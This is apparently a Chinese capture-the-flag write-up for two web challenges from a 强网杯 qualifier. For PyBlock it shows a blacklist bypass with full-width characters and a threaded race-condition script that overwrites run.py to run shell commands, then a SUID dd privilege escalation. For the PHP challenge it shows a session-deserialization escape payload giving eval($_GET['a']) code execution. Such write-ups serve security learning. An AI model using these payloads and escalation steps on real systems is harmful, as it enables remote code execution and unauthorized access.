强网杯预赛wp
当时去打省赛了,省赛回来直接摸鱼()
PyBlock
题目是一个拼积木执行代码
审计block_to_python发现可以通过next字段配合TEXT可以给run.py写入代码
if 'next' in block:
block = block['next']['block']
code += "\n" + block_to_python(block) + "\n"
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
{
"blocks": {
"blocks": [{
"next": {
"block": {
"type": "text",
"fields": {
"TEXT": "123"
}
}
},
"type": "print",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"fields": {
"TEXT": "a"
}
}
}
}
}]
}
}
发现成功写入:
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
print('a')
'123'
逃逸引号的话有黑名单限制:
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
用全角字符绕即可,最终写入文件的仍然是半角
最后还需要绕个hook:
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
return result
else:
return "Execution aborted due to security concerns."
except:
return "Timeout!"
限制了时间长度大于4的事件,只有open可以执行,那么可以条件竞争来覆盖写入我们要执行的代码,让他执行:
import threading
import requests
def sendp():
json = {"blocks":{"blocks":[{"next":{"block":{"type":"text","fields":{"TEXT":"'+open('run.py','w').write("print(__import__('os').popen('ls /').read())")+'"}}},"type":"print","inputs":{"TEXT":{"block":{"type":"text","fields":{"TEXT":"a"}}}}}]}}
res = requests.post("http://127.0.0.1:5000/blockly_json", json=json,proxies={"http":"http://127.0.0.1:8080"})
print(res.text)
def sendp1():
json = {"blocks":{"blocks":[{"next":{"block":{"type":"text","fields":{"TEXT":"'+open('run.py','w').write("print(__import__('os').popen('ls /').read())")+'"}}},"type":"print","inputs":{"TEXT":{"block":{"type":"text","fields":{"TEXT":"a"}}}}}]}}
res = requests.post("http://127.0.0.1:5000/blockly_json", json=json,proxies={"http":"http://127.0.0.1:8080"})
print(res.text)
#
if __name__ == "__main__":
for i in range(100):
threading.Thread(target=sendp).start()
threading.Thread(target=sendp1).start()
弹shell,查suid:
/bin/su
/bin/ls
/bin/dd
/bin/mount
/bin/umount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
使用dd提权即可:
dd if=/flag
platform
最后一分钟本地做出来了,但是平台卡的要死,来不及打远程,服了
www.zip泄露了源码,注意到构造session的时候会把黑名单文本替换为空,可借此逃逸打session反序列化:
public function filterSensitiveFunctions() {
$sessionFile = $this->getSessionFilePath();
if (file_exists($sessionFile)) {
$sessionData = file_get_contents($sessionFile);
foreach ($this->sensitiveFunctions as $function) {
if (strpos($sessionData, $function) !== false) {
$sessionData = str_replace($function, '', $sessionData);
}
}
file_put_contents($sessionFile, $sessionData);
return "Sensitive functions have been filtered from the session file.";
} else {
return "Session file not found.";
}
}
也提供了给我们利用的class:
class notouchitsclass {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __destruct() {
eval($this->data);
}
}
因此可传入:
username=evalevalevalevalevalevalevalevalevaleval&password=;password|O:15:"notouchitsclass":1:{s:4:"data";s:17:"evevalal($_GET['a']);";}
这样如果sessionkey是一个三个字符的字串,就会构造session文件为:
user|s:40:"";session_key|s:3:"ABC";password|s:24:";password|O:15:"notouchitsclass":1:{s:4:"data";s:17:"eevalval($_GET['a']);";}
替换eval为空,而user类的s仍为40,造成逃逸从而反序列化我们给的password字段:
user|s:40:"";session_key|s:3:"ABC";password|s:24:";password|O:15:"notouchitsclass":1:{s:4:"data";s:17:"eval($_GET['a']);";}
至于sessionkey
$length = rand(1, 50);
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
只要一直爆破直到生成的key长度为3即可
Comments NOTHING